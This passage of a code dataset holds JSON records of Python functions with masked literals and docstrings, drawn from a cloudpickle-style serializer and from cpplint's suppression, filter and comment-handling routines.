{"signature": "def _load_class(cls, d):", "body": "for k, v in d.items():<EOL><INDENT>if isinstance(k, tuple):<EOL><INDENT>typ, k = k<EOL>if typ == '<STR_LIT>':<EOL><INDENT>v = property(*v)<EOL><DEDENT>elif typ == '<STR_LIT>':<EOL><INDENT>v = staticmethod(v) <EOL><DEDENT>elif typ == '<STR_LIT>':<EOL><INDENT>v = classmethod(v)<EOL><DEDENT><DEDENT>setattr(cls, k, v)<EOL><DEDENT>return cls<EOL>", "docstring": "Loads additional properties into class `cls`.", "id": "f7244:m14"}
{"signature": "def _load_namedtuple(name, fields):", "body": "from collections import namedtuple<EOL>return namedtuple(name, fields)<EOL>", "docstring": "Loads a class generated by namedtuple", "id": "f7244:m15"}
{"signature": "def save_memoryview(self, obj):", "body": "Pickler.save_string(self, str(obj))<EOL>", "docstring": "Fallback to save_string", "id": "f7244:c0:m2"}
{"signature": "def save_buffer(self, obj):", "body": "Pickler.save_string(self, str(obj))<EOL>", "docstring": "Fallback to save_string", "id": "f7244:c0:m3"}
{"signature": "def save_module(self, obj):", "body": "self.modules.add(obj)<EOL>self.save_reduce(subimport, (obj.__name__,), obj=obj)<EOL>", "docstring": "Save a module as an import", "id": "f7244:c0:m5"}
{"signature": "def save_codeobject(self, obj):", "body": "if PY3:<EOL><INDENT>args = (<EOL>obj.co_argcount, obj.co_kwonlyargcount, obj.co_nlocals, obj.co_stacksize,<EOL>obj.co_flags, obj.co_code, obj.co_consts, obj.co_names, obj.co_varnames,<EOL>obj.co_filename, obj.co_name, obj.co_firstlineno, obj.co_lnotab, obj.co_freevars,<EOL>obj.co_cellvars<EOL>)<EOL><DEDENT>else:<EOL><INDENT>args = (<EOL>obj.co_argcount, obj.co_nlocals, obj.co_stacksize, obj.co_flags, obj.co_code,<EOL>obj.co_consts, obj.co_names, obj.co_varnames, obj.co_filename, obj.co_name,<EOL>obj.co_firstlineno, obj.co_lnotab, obj.co_freevars, obj.co_cellvars<EOL>)<EOL><DEDENT>self.save_reduce(types.CodeType, args, obj=obj)<EOL>", "docstring": "Save a code object", "id": "f7244:c0:m6"}
{"signature": "def save_function(self, obj, name=None):", "body": "write = self.write<EOL>if name is None:<EOL><INDENT>name = obj.__name__<EOL><DEDENT>try:<EOL><INDENT>modname = pickle.whichmodule(obj, name)<EOL><DEDENT>except Exception:<EOL><INDENT>modname = None<EOL><DEDENT>try:<EOL><INDENT>themodule = sys.modules[modname]<EOL><DEDENT>except KeyError:<EOL><INDENT>modname = '<STR_LIT:__main__>'<EOL><DEDENT>if modname == '<STR_LIT:__main__>':<EOL><INDENT>themodule = None<EOL><DEDENT>if themodule:<EOL><INDENT>self.modules.add(themodule)<EOL>if getattr(themodule, name, None) is obj:<EOL><INDENT>return self.save_global(obj, name)<EOL><DEDENT><DEDENT>if islambda(obj) or obj.__code__.co_filename == '<STR_LIT>' or themodule is None:<EOL><INDENT>self.save_function_tuple(obj)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>klass = getattr(themodule, name, None)<EOL>if klass is None or klass is not obj:<EOL><INDENT>self.save_function_tuple(obj)<EOL>return<EOL><DEDENT><DEDENT>if obj.__dict__:<EOL><INDENT>self.save(_restore_attr)<EOL>write(pickle.MARK + pickle.GLOBAL + modname + '<STR_LIT:\\n>' + name + '<STR_LIT:\\n>')<EOL>self.memoize(obj)<EOL>self.save(obj.__dict__)<EOL>write(pickle.TUPLE + pickle.REDUCE)<EOL><DEDENT>else:<EOL><INDENT>write(pickle.GLOBAL + modname + '<STR_LIT:\\n>' + name + '<STR_LIT:\\n>')<EOL>self.memoize(obj)<EOL><DEDENT>", "docstring": "Registered with the dispatch to handle all function types.\n        Determines what kind of function obj is (e.g. lambda, defined at\n        interactive prompt, etc) and handles the pickling appropriately.", "id": "f7244:c0:m7"}
{"signature": "def save_function_tuple(self, func):", "body": "save = self.save<EOL>write = self.write<EOL>code, f_globals, defaults, closure, dct, base_globals = self.extract_func_data(func)<EOL>save(_fill_function)  <EOL>write(pickle.MARK)    <EOL>save(_make_skel_func)<EOL>save((code, closure, base_globals))<EOL>write(pickle.REDUCE)<EOL>self.memoize(func)<EOL>save(f_globals)<EOL>save(defaults)<EOL>save(dct)<EOL>save(func.__module__)<EOL>write(pickle.TUPLE)<EOL>write(pickle.REDUCE)<EOL>", "docstring": "Pickles an actual func object.\n        A func comprises: code, globals, defaults, closure, and dict.  We\n        extract and save these, injecting reducing functions at certain points\n        to recreate the func object.  Keep in mind that some of these pieces\n        can contain a ref to the func itself.  Thus, a naive save on these\n        pieces could trigger an infinite loop of save's.  To get around that,\n        we first create a skeleton func object using just the code (this is\n        safe, since this won't contain a ref to the func), and memoize it as\n        soon as it's created.  The other stuff can then be filled in later.", "id": "f7244:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def extract_code_globals(cls, co):<DEDENT>", "body": "out_names = cls._extract_code_globals_cache.get(co)<EOL>if out_names is None:<EOL><INDENT>try:<EOL><INDENT>names = co.co_names<EOL><DEDENT>except AttributeError:<EOL><INDENT>out_names = set()<EOL><DEDENT>else:<EOL><INDENT>out_names = set(names[oparg]<EOL>for op, oparg in _walk_global_ops(co))<EOL>if co.co_consts:<EOL><INDENT>for const in co.co_consts:<EOL><INDENT>if type(const) is types.CodeType: <EOL><INDENT>out_names |= cls.extract_code_globals(const)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>cls._extract_code_globals_cache[co] = out_names<EOL><DEDENT>return out_names<EOL>", "docstring": "Find all globals names read or written to by codeblock co", "id": "f7244:c0:m9"}
{"signature": "def extract_func_data(self, func):", "body": "code = func.__code__<EOL>func_global_refs = self.extract_code_globals(code)<EOL>f_globals = {}<EOL>for var in func_global_refs:<EOL><INDENT>if var in func.__globals__:<EOL><INDENT>f_globals[var] = func.__globals__[var]<EOL><DEDENT><DEDENT>defaults = func.__defaults__<EOL>closure = [c.cell_contents for c in func.__closure__] if func.__closure__ else []<EOL>dct = func.__dict__<EOL>base_globals = self.globals_ref.get(id(func.__globals__), {})<EOL>self.globals_ref[id(func.__globals__)] = base_globals<EOL>return (code, f_globals, defaults, closure, dct, base_globals)<EOL>", "docstring": "Turn the function into a tuple of data necessary to recreate it:\n  code, globals, defaults, closure, dict", "id": "f7244:c0:m10"}
{"signature": "def save_inst(self, obj):", "body": "cls = obj.__class__<EOL>memo = self.memo<EOL>write = self.write<EOL>save = self.save<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>args = obj.__getinitargs__()<EOL>len(args)  <EOL>pickle._keep_alive(args, memo) <EOL><DEDENT>else:<EOL><INDENT>args = ()<EOL><DEDENT>write(pickle.MARK)<EOL>if self.bin:<EOL><INDENT>save(cls)<EOL>for arg in args:<EOL><INDENT>save(arg)<EOL><DEDENT>write(pickle.OBJ)<EOL><DEDENT>else:<EOL><INDENT>for arg in args:<EOL><INDENT>save(arg)<EOL><DEDENT>write(pickle.INST + cls.__module__ + '<STR_LIT:\\n>' + cls.__name__ + '<STR_LIT:\\n>')<EOL><DEDENT>self.memoize(obj)<EOL>try:<EOL><INDENT>getstate = obj.__getstate__<EOL><DEDENT>except AttributeError:<EOL><INDENT>stuff = obj.__dict__<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>transient = obj.__transient__<EOL>stuff = stuff.copy()<EOL>for k in list(stuff.keys()):<EOL><INDENT>if k in transient:<EOL><INDENT>del stuff[k]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>stuff = getstate()<EOL>pickle._keep_alive(stuff, memo) <EOL><DEDENT>save(stuff)<EOL>write(pickle.BUILD)<EOL>", "docstring": "Inner logic to save instance. Based off pickle.save_inst\n        Supports __transient__", "id": "f7244:c0:m14"}
{"signature": "def save_itemgetter(self, obj):", "body": "class Dummy: <EOL><INDENT>def __init__(self):<EOL><INDENT>pass<EOL><DEDENT>def __getitem__(self, item):<EOL><INDENT>return item<EOL><DEDENT><DEDENT>items = obj(Dummy())<EOL>if not isinstance(items, tuple):<EOL><INDENT>items = (items, )<EOL><DEDENT>return self.save_reduce(operator.itemgetter, items)<EOL>", "docstring": "itemgetter serializer (needed for namedtuple support)", "id": "f7244:c0:m16"}
{"signature": "def save_attrgetter(self, obj):", "body": "class Dummy(object):<EOL><INDENT>def __init__(self, attrs, index=None):<EOL><INDENT>self.attrs = attrs<EOL>self.index = index<EOL><DEDENT>def __getattribute__(self, item):<EOL><INDENT>attrs = object.__getattribute__(self, \"<STR_LIT>\")<EOL>index = object.__getattribute__(self, \"<STR_LIT:index>\")<EOL>if index is None:<EOL><INDENT>index = len(attrs)<EOL>attrs.append(item)<EOL><DEDENT>else:<EOL><INDENT>attrs[index] = \"<STR_LIT:.>\".join([attrs[index], item])<EOL><DEDENT>return type(self)(attrs, index)<EOL><DEDENT><DEDENT>attrs = []<EOL>obj(Dummy(attrs))<EOL>return self.save_reduce(operator.attrgetter, tuple(attrs))<EOL>", "docstring": "attrgetter serializer", "id": "f7244:c0:m17"}
{"signature": "def save_reduce(self, func, args, state=None, <EOL>listitems=None, dictitems=None, obj=None):", "body": "<EOL>if not isinstance(args, tuple):<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\")<EOL><DEDENT>if not hasattr(func, '<STR_LIT>'):<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\")<EOL><DEDENT>save = self.save<EOL>write = self.write<EOL>if self.proto >= <NUM_LIT:2> and getattr(func, \"<STR_LIT>\", \"<STR_LIT>\") == \"<STR_LIT>\":<EOL><INDENT>cls = args[<NUM_LIT:0>]<EOL>if not hasattr(cls, \"<STR_LIT>\"):<EOL><INDENT>raise pickle.PicklingError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if obj is not None and cls is not obj.__class__:<EOL><INDENT>raise pickle.PicklingError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>args = args[<NUM_LIT:1>:]<EOL>save(cls)<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>transient = obj.__transient__<EOL>state = state.copy()<EOL>for k in list(state.keys()):<EOL><INDENT>if k in transient:<EOL><INDENT>del state[k]<EOL><DEDENT><DEDENT><DEDENT>save(args)<EOL>write(pickle.NEWOBJ)<EOL><DEDENT>else:<EOL><INDENT>save(func)<EOL>save(args)<EOL>write(pickle.REDUCE)<EOL><DEDENT>if obj is not None:<EOL><INDENT>self.memoize(obj)<EOL><DEDENT>if listitems is not None:<EOL><INDENT>self._batch_appends(listitems)<EOL><DEDENT>if dictitems is not None:<EOL><INDENT>self._batch_setitems(dictitems)<EOL><DEDENT>if state is not None:<EOL><INDENT>save(state)<EOL>write(pickle.BUILD)<EOL><DEDENT>", "docstring": "Modified to support __transient__ on new objects\n        Change only affects protocol level 2 (which is always used by PiCloud", "id": "f7244:c0:m18"}
{"signature": "def save_partial(self, obj):", "body": "self.save_reduce(_genpartial, (obj.func, obj.args, obj.keywords))<EOL>", "docstring": "Partial objects do not serialize correctly in python2.x -- this fixes the bugs", "id": "f7244:c0:m19"}
{"signature": "def save_file(self, obj): ", "body": "try:<EOL><INDENT>import StringIO as pystringIO <EOL><DEDENT>except ImportError:<EOL><INDENT>import io as pystringIO <EOL><DEDENT>if not hasattr(obj, '<STR_LIT:name>') or  not hasattr(obj, '<STR_LIT>'):<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\")<EOL><DEDENT>if obj is sys.stdout:<EOL><INDENT>return self.save_reduce(getattr, (sys, '<STR_LIT>'), obj=obj)<EOL><DEDENT>if obj is sys.stderr:<EOL><INDENT>return self.save_reduce(getattr, (sys, '<STR_LIT>'), obj=obj)<EOL><DEDENT>if obj is sys.stdin:<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\")<EOL><DEDENT>if  hasattr(obj, '<STR_LIT>') and obj.isatty():<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT:r>' not in obj.mode:<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\")<EOL><DEDENT>name = obj.name<EOL>try:<EOL><INDENT>fsize = os.stat(name).st_size<EOL><DEDENT>except OSError:<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\" % name)<EOL><DEDENT>if obj.closed:<EOL><INDENT>retval = pystringIO.StringIO(\"<STR_LIT>\")<EOL>retval.close()<EOL><DEDENT>elif not fsize: <EOL><INDENT>retval = pystringIO.StringIO(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>tmpfile = file(name)<EOL>tst = tmpfile.read(<NUM_LIT:1>)<EOL><DEDENT>except IOError:<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\" % name)<EOL><DEDENT>tmpfile.close()<EOL>if tst != '<STR_LIT>':<EOL><INDENT>raise pickle.PicklingError(<EOL>\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>tmpfile = file(name)<EOL>contents = tmpfile.read()<EOL>tmpfile.close()<EOL><DEDENT>except IOError:<EOL><INDENT>raise pickle.PicklingError(\"<STR_LIT>\" % name)<EOL><DEDENT>retval = pystringIO.StringIO(contents)<EOL>curloc = obj.tell()<EOL>retval.seek(curloc)<EOL><DEDENT>retval.name = name<EOL>self.save(retval)<EOL>self.memoize(obj)<EOL>", "docstring": "Save a file", "id": "f7244:c0:m20"}
{"signature": "def save_ufunc(self, obj):", "body": "name = obj.__name__<EOL>numpy_tst_mods = ['<STR_LIT>', '<STR_LIT>']<EOL>for tst_mod_name in numpy_tst_mods:<EOL><INDENT>tst_mod = sys.modules.get(tst_mod_name, None)<EOL>if tst_mod and name in tst_mod.__dict__:<EOL><INDENT>return self.save_reduce(_getobject, (tst_mod_name, name))<EOL><DEDENT><DEDENT>raise pickle.PicklingError(<EOL>'<STR_LIT>' % str(obj))<EOL>", "docstring": "Hack function for saving numpy ufunc objects", "id": "f7244:c0:m22"}
{"signature": "def inject_addons(self):", "body": "self.inject_numpy()<EOL>", "docstring": "Plug in system. Register additional pickling functions if modules already loaded", "id": "f7244:c0:m23"}
{"signature": "def ParseNolintSuppressions(filename, raw_line, linenum, error):", "body": "matched = Search(r'<STR_LIT>', raw_line)<EOL>if matched:<EOL><INDENT>if matched.group(<NUM_LIT:1>):<EOL><INDENT>suppressed_line = linenum + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>suppressed_line = linenum<EOL><DEDENT>category = matched.group(<NUM_LIT:2>)<EOL>if category in (None, '<STR_LIT>'):  <EOL><INDENT>_error_suppressions.setdefault(None, set()).add(suppressed_line)<EOL><DEDENT>else:<EOL><INDENT>if category.startswith('<STR_LIT:(>') and category.endswith('<STR_LIT:)>'):<EOL><INDENT>category = category[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>if category in _ERROR_CATEGORIES:<EOL><INDENT>_error_suppressions.setdefault(category, set()).add(suppressed_line)<EOL><DEDENT>elif category not in _LEGACY_ERROR_CATEGORIES:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' % category)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Updates the global list of line error-suppressions.\n\n    Parses any NOLINT comments on the current line, updating the global\n    error_suppressions store.  Reports an error if the NOLINT comment\n    was malformed.\n\n    Args:\n      filename: str, the name of the input file.\n      raw_line: str, the line of input text, with comments.\n      linenum: int, the number of the current line.\n      error: function, an error handler.", "id": "f7245:m4"}
{"signature": "def ProcessGlobalSuppresions(lines):", "body": "for line in lines:<EOL><INDENT>if _SEARCH_C_FILE.search(line):<EOL><INDENT>for category in _DEFAULT_C_SUPPRESSED_CATEGORIES:<EOL><INDENT>_global_error_suppressions[category] = True<EOL><DEDENT><DEDENT>if _SEARCH_KERNEL_FILE.search(line):<EOL><INDENT>for category in _DEFAULT_KERNEL_SUPPRESSED_CATEGORIES:<EOL><INDENT>_global_error_suppressions[category] = True<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Updates the list of global error suppressions.\n\n    Parses any lint directives in the file that have global effect.\n\n    Args:\n      lines: An array of strings, each representing a line of the file, with the\n             last element being empty if the file is terminated with a newline.", "id": "f7245:m5"}
{"signature": "def ResetNolintSuppressions():", "body": "_error_suppressions.clear()<EOL>_global_error_suppressions.clear()<EOL>", "docstring": "Resets the set of NOLINT suppressions to empty.", "id": "f7245:m6"}
{"signature": "def IsErrorSuppressedByNolint(category, linenum):", "body": "return (_global_error_suppressions.get(category, False) or<EOL>linenum in _error_suppressions.get(category, set()) or<EOL>linenum in _error_suppressions.get(None, set()))<EOL>", "docstring": "Returns true if the specified error category is suppressed on this line.\n\n    Consults the global error_suppressions map populated by\n    ParseNolintSuppressions/ProcessGlobalSuppresions/ResetNolintSuppressions.\n\n    Args:\n      category: str, the category of the error.\n      linenum: int, the current line number.\n    Returns:\n      bool, True iff the error should be suppressed due to a NOLINT comment or\n      global suppression.", "id": "f7245:m7"}
{"signature": "def Match(pattern, s):", "body": "<EOL>if pattern not in _regexp_compile_cache:<EOL><INDENT>_regexp_compile_cache[pattern] = sre_compile.compile(pattern)<EOL><DEDENT>return _regexp_compile_cache[pattern].match(s)<EOL>", "docstring": "Matches the string with the pattern, caching the compiled regexp.", "id": "f7245:m8"}
{"signature": "def ReplaceAll(pattern, rep, s):", "body": "if pattern not in _regexp_compile_cache:<EOL><INDENT>_regexp_compile_cache[pattern] = sre_compile.compile(pattern)<EOL><DEDENT>return _regexp_compile_cache[pattern].sub(rep, s)<EOL>", "docstring": "Replaces instances of pattern in a string with a replacement.\n\n    The compiled regex is kept in a cache shared by Match and Search.\n\n    Args:\n      pattern: regex pattern\n      rep: replacement text\n      s: search string\n\n    Returns:\n      string with replacements made (or original string if no replacements)", "id": "f7245:m9"}
{"signature": "def Search(pattern, s):", "body": "if pattern not in _regexp_compile_cache:<EOL><INDENT>_regexp_compile_cache[pattern] = sre_compile.compile(pattern)<EOL><DEDENT>return _regexp_compile_cache[pattern].search(s)<EOL>", "docstring": "Searches the string for the pattern, caching the compiled regexp.", "id": "f7245:m10"}
{"signature": "def _IsSourceExtension(s):", "body": "return s in GetNonHeaderExtensions()<EOL>", "docstring": "File extension (excluding dot) matches a source file extension.", "id": "f7245:m11"}
{"signature": "def _OutputFormat():", "body": "return _cpplint_state.output_format<EOL>", "docstring": "Gets the module's output format.", "id": "f7245:m12"}
{"signature": "def _SetOutputFormat(output_format):", "body": "_cpplint_state.SetOutputFormat(output_format)<EOL>", "docstring": "Sets the module's output format.", "id": "f7245:m13"}
{"signature": "def _VerboseLevel():", "body": "return _cpplint_state.verbose_level<EOL>", "docstring": "Returns the module's verbosity setting.", "id": "f7245:m14"}
{"signature": "def _SetVerboseLevel(level):", "body": "return _cpplint_state.SetVerboseLevel(level)<EOL>", "docstring": "Sets the module's verbosity, and returns the previous setting.", "id": "f7245:m15"}
{"signature": "def _SetCountingStyle(level):", "body": "_cpplint_state.SetCountingStyle(level)<EOL>", "docstring": "Sets the module's counting options.", "id": "f7245:m16"}
{"signature": "def _Filters():", "body": "return _cpplint_state.filters<EOL>", "docstring": "Returns the module's list of output filters, as a list.", "id": "f7245:m17"}
{"signature": "def _SetFilters(filters):", "body": "_cpplint_state.SetFilters(filters)<EOL>", "docstring": "Sets the module's error-message filters.\n\n    These filters are applied when deciding whether to emit a given\n    error message.\n\n    Args:\n      filters: A string of comma-separated filters (eg \"whitespace/indent\").\n               Each filter should start with + or -; else we die.", "id": "f7245:m18"}
{"signature": "def _AddFilters(filters):", "body": "_cpplint_state.AddFilters(filters)<EOL>", "docstring": "Adds more filter overrides.\n\n    Unlike _SetFilters, this function does not reset the current list of filters\n    available.\n\n    Args:\n      filters: A string of comma-separated filters (eg \"whitespace/indent\").\n               Each filter should start with + or -; else we die.", "id": "f7245:m19"}
{"signature": "def _BackupFilters():", "body": "_cpplint_state.BackupFilters()<EOL>", "docstring": "Saves the current filter list to backup storage.", "id": "f7245:m20"}
{"signature": "def _RestoreFilters():", "body": "_cpplint_state.RestoreFilters()<EOL>", "docstring": "Restores filters previously backed up.", "id": "f7245:m21"}
{"signature": "def _ShouldPrintError(category, confidence, linenum):", "body": "<EOL>if IsErrorSuppressedByNolint(category, linenum):<EOL><INDENT>return False<EOL><DEDENT>if confidence < _cpplint_state.verbose_level:<EOL><INDENT>return False<EOL><DEDENT>is_filtered = False<EOL>for one_filter in _Filters():<EOL><INDENT>if one_filter.startswith('<STR_LIT:->'):<EOL><INDENT>if category.startswith(one_filter[<NUM_LIT:1>:]):<EOL><INDENT>is_filtered = True<EOL><DEDENT><DEDENT>elif one_filter.startswith('<STR_LIT:+>'):<EOL><INDENT>if category.startswith(one_filter[<NUM_LIT:1>:]):<EOL><INDENT>is_filtered = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert False  <EOL><DEDENT><DEDENT>if is_filtered:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "If confidence >= verbose, category passes filter and is not suppressed.", "id": "f7245:m22"}
{"signature": "def Error(filename, linenum, category, confidence, message):", "body": "if _ShouldPrintError(category, confidence, linenum):<EOL><INDENT>_cpplint_state.IncrementErrorCount(category)<EOL>if _cpplint_state.output_format == '<STR_LIT>':<EOL><INDENT>_cpplint_state.PrintError('<STR_LIT>' % (<EOL>filename, linenum, message, category, confidence))<EOL><DEDENT>elif _cpplint_state.output_format == '<STR_LIT>':<EOL><INDENT>sys.stderr.write('<STR_LIT>' % (<EOL>filename, linenum, message, category, confidence))<EOL><DEDENT>elif _cpplint_state.output_format == '<STR_LIT>':<EOL><INDENT>_cpplint_state.AddJUnitFailure(filename, linenum, message, category,<EOL>confidence)<EOL><DEDENT>else:<EOL><INDENT>final_message = '<STR_LIT>' % (<EOL>filename, linenum, message, category, confidence)<EOL>sys.stderr.write(final_message)<EOL><DEDENT><DEDENT>", "docstring": "Logs the fact we've found a lint error.\n\n    We log where the error was found, and also our confidence in the error,\n    that is, how certain we are this is a legitimate style regression, and\n    not a misidentification or a use that's sometimes justified.\n\n    False positives can be suppressed by the use of\n    \"cpplint(category)\"  comments on the offending line.  These are\n    parsed into _error_suppressions.\n\n    Args:\n      filename: The name of the file containing the error.\n      linenum: The number of the line containing the error.\n      category: A string used to describe the \"category\" this bug\n        falls under: \"whitespace\", say, or \"runtime\".  Categories\n        may have a hierarchy separated by slashes: \"whitespace/indent\".\n      confidence: A number from 1-5 representing a confidence score for\n        the error, with 5 meaning that we are certain of the problem,\n        and 1 meaning that it could be a legitimate construct.\n      message: The error message.", "id": "f7245:m23"}
{"signature": "def IsCppString(line):", "body": "line = line.replace(r'<STR_LIT:\\\\>', '<STR_LIT>')  <EOL>return ((line.count('<STR_LIT:\">') - line.count(r'<STR_LIT>') - line.count(\"<STR_LIT>\")) & <NUM_LIT:1>) == <NUM_LIT:1><EOL>", "docstring": "Does line terminate so, that the next symbol is in string constant.\n\n    This function does not consider single-line nor multi-line comments.\n\n    Args:\n      line: is a partial line of code starting from the 0..n.\n\n    Returns:\n      True, if next character appended to 'line' is inside a\n      string constant.", "id": "f7245:m24"}
{"signature": "def CleanseRawStrings(raw_lines):", "body": "delimiter = None<EOL>lines_without_raw_strings = []<EOL>for line in raw_lines:<EOL><INDENT>if delimiter:<EOL><INDENT>end = line.find(delimiter)<EOL>if end >= <NUM_LIT:0>:<EOL><INDENT>leading_space = Match(r'<STR_LIT>', line)<EOL>line = leading_space.group(<NUM_LIT:1>) + '<STR_LIT>' + line[end + len(delimiter):]<EOL>delimiter = None<EOL><DEDENT>else:<EOL><INDENT>line = '<STR_LIT>'<EOL><DEDENT><DEDENT>while delimiter is None:<EOL><INDENT>matched = Match(r'<STR_LIT>', line)<EOL>if (matched and<EOL>not Match(r'<STR_LIT>',<EOL>matched.group(<NUM_LIT:1>))):<EOL><INDENT>delimiter = '<STR_LIT:)>' + matched.group(<NUM_LIT:2>) + '<STR_LIT:\">'<EOL>end = matched.group(<NUM_LIT:3>).find(delimiter)<EOL>if end >= <NUM_LIT:0>:<EOL><INDENT>line = (matched.group(<NUM_LIT:1>) + '<STR_LIT>' +<EOL>matched.group(<NUM_LIT:3>)[end + len(delimiter):])<EOL>delimiter = None<EOL><DEDENT>else:<EOL><INDENT>line = matched.group(<NUM_LIT:1>) + '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>lines_without_raw_strings.append(line)<EOL><DEDENT>return lines_without_raw_strings<EOL>", "docstring": "Removes C++11 raw strings from lines.\n\n      Before:\n        static const char kData[] = R\"(\n            multi-line string\n            )\";\n\n      After:\n        static const char kData[] = \"\"\n            (replaced by blank line)\n            \"\";\n\n    Args:\n      raw_lines: list of raw lines.\n\n    Returns:\n      list of lines with C++11 raw strings replaced by empty strings.", "id": "f7245:m25"}
{"signature": "def FindNextMultiLineCommentStart(lines, lineix):", "body": "while lineix < len(lines):<EOL><INDENT>if lines[lineix].strip().startswith('<STR_LIT>'):<EOL><INDENT>if lines[lineix].strip().find('<STR_LIT>', <NUM_LIT:2>) < <NUM_LIT:0>:<EOL><INDENT>return lineix<EOL><DEDENT><DEDENT>lineix += <NUM_LIT:1><EOL><DEDENT>return len(lines)<EOL>", "docstring": "Find the beginning marker for a multiline comment.", "id": "f7245:m26"}
{"signature": "def FindNextMultiLineCommentEnd(lines, lineix):", "body": "while lineix < len(lines):<EOL><INDENT>if lines[lineix].strip().endswith('<STR_LIT>'):<EOL><INDENT>return lineix<EOL><DEDENT>lineix += <NUM_LIT:1><EOL><DEDENT>return len(lines)<EOL>", "docstring": "We are inside a comment, find the end marker.", "id": "f7245:m27"}
{"signature": "def RemoveMultiLineCommentsFromRange(lines, begin, end):", "body": "<EOL>for i in range(begin, end):<EOL><INDENT>lines[i] = '<STR_LIT>'<EOL><DEDENT>", "docstring": "Clears a range of lines for multi-line comments.", "id": "f7245:m28"}
{"signature": "def RemoveMultiLineComments(filename, lines, error):", "body": "lineix = <NUM_LIT:0><EOL>while lineix < len(lines):<EOL><INDENT>lineix_begin = FindNextMultiLineCommentStart(lines, lineix)<EOL>if lineix_begin >= len(lines):<EOL><INDENT>return<EOL><DEDENT>lineix_end = FindNextMultiLineCommentEnd(lines, lineix_begin)<EOL>if lineix_end >= len(lines):<EOL><INDENT>error(filename, lineix_begin + <NUM_LIT:1>, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL>return<EOL><DEDENT>RemoveMultiLineCommentsFromRange(lines, lineix_begin, lineix_end + <NUM_LIT:1>)<EOL>lineix = lineix_end + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Removes multiline (c-style) comments from lines.", "id": "f7245:m29"}
{"signature": "def CleanseComments(line):", "body": "commentpos = line.find('<STR_LIT>')<EOL>if commentpos != -<NUM_LIT:1> and not IsCppString(line[:commentpos]):<EOL><INDENT>line = line[:commentpos].rstrip()<EOL><DEDENT>return _RE_PATTERN_CLEANSE_LINE_C_COMMENTS.sub('<STR_LIT>', line)<EOL>", "docstring": "Removes //-comments and single-line C-style /* */ comments.\n\n    Args:\n      line: A line of C++ source.\n\n    Returns:\n      The line with single-line comments removed.", "id": "f7245:m30"}
{"signature": "def FindEndOfExpressionInLine(line, startpos, stack):", "body": "for i in xrange(startpos, len(line)):<EOL><INDENT>char = line[i]<EOL>if char in '<STR_LIT>':<EOL><INDENT>stack.append(char)<EOL><DEDENT>elif char == '<STR_LIT:<>':<EOL><INDENT>if i > <NUM_LIT:0> and line[i - <NUM_LIT:1>] == '<STR_LIT:<>':<EOL><INDENT>if stack and stack[-<NUM_LIT:1>] == '<STR_LIT:<>':<EOL><INDENT>stack.pop()<EOL>if not stack:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT><DEDENT><DEDENT>elif i > <NUM_LIT:0> and Search(r'<STR_LIT>', line[<NUM_LIT:0>:i]):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>stack.append('<STR_LIT:<>')<EOL><DEDENT><DEDENT>elif char in '<STR_LIT>':<EOL><INDENT>while stack and stack[-<NUM_LIT:1>] == '<STR_LIT:<>':<EOL><INDENT>stack.pop()<EOL><DEDENT>if not stack:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT>if ((stack[-<NUM_LIT:1>] == '<STR_LIT:(>' and char == '<STR_LIT:)>') or<EOL>(stack[-<NUM_LIT:1>] == '<STR_LIT:[>' and char == '<STR_LIT:]>') or<EOL>(stack[-<NUM_LIT:1>] == '<STR_LIT:{>' and char == '<STR_LIT:}>')):<EOL><INDENT>stack.pop()<EOL>if not stack:<EOL><INDENT>return (i + <NUM_LIT:1>, None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT><DEDENT>elif char == '<STR_LIT:>>':<EOL><INDENT>if (i > <NUM_LIT:0> and<EOL>(line[i - <NUM_LIT:1>] == '<STR_LIT:->' or Search(r'<STR_LIT>', line[<NUM_LIT:0>:i - <NUM_LIT:1>]))):<EOL><INDENT>continue<EOL><DEDENT>if stack:<EOL><INDENT>if stack[-<NUM_LIT:1>] == '<STR_LIT:<>':<EOL><INDENT>stack.pop()<EOL>if not stack:<EOL><INDENT>return (i + <NUM_LIT:1>, None)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif char == '<STR_LIT:;>':<EOL><INDENT>while stack and stack[-<NUM_LIT:1>] == '<STR_LIT:<>':<EOL><INDENT>stack.pop()<EOL><DEDENT>if not stack:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT><DEDENT><DEDENT>return (-<NUM_LIT:1>, stack)<EOL>", "docstring": "Find the position just after the end of current parenthesized expression.\n\n    Args:\n      line: a CleansedLines line.\n      startpos: start searching at this position.\n      stack: nesting 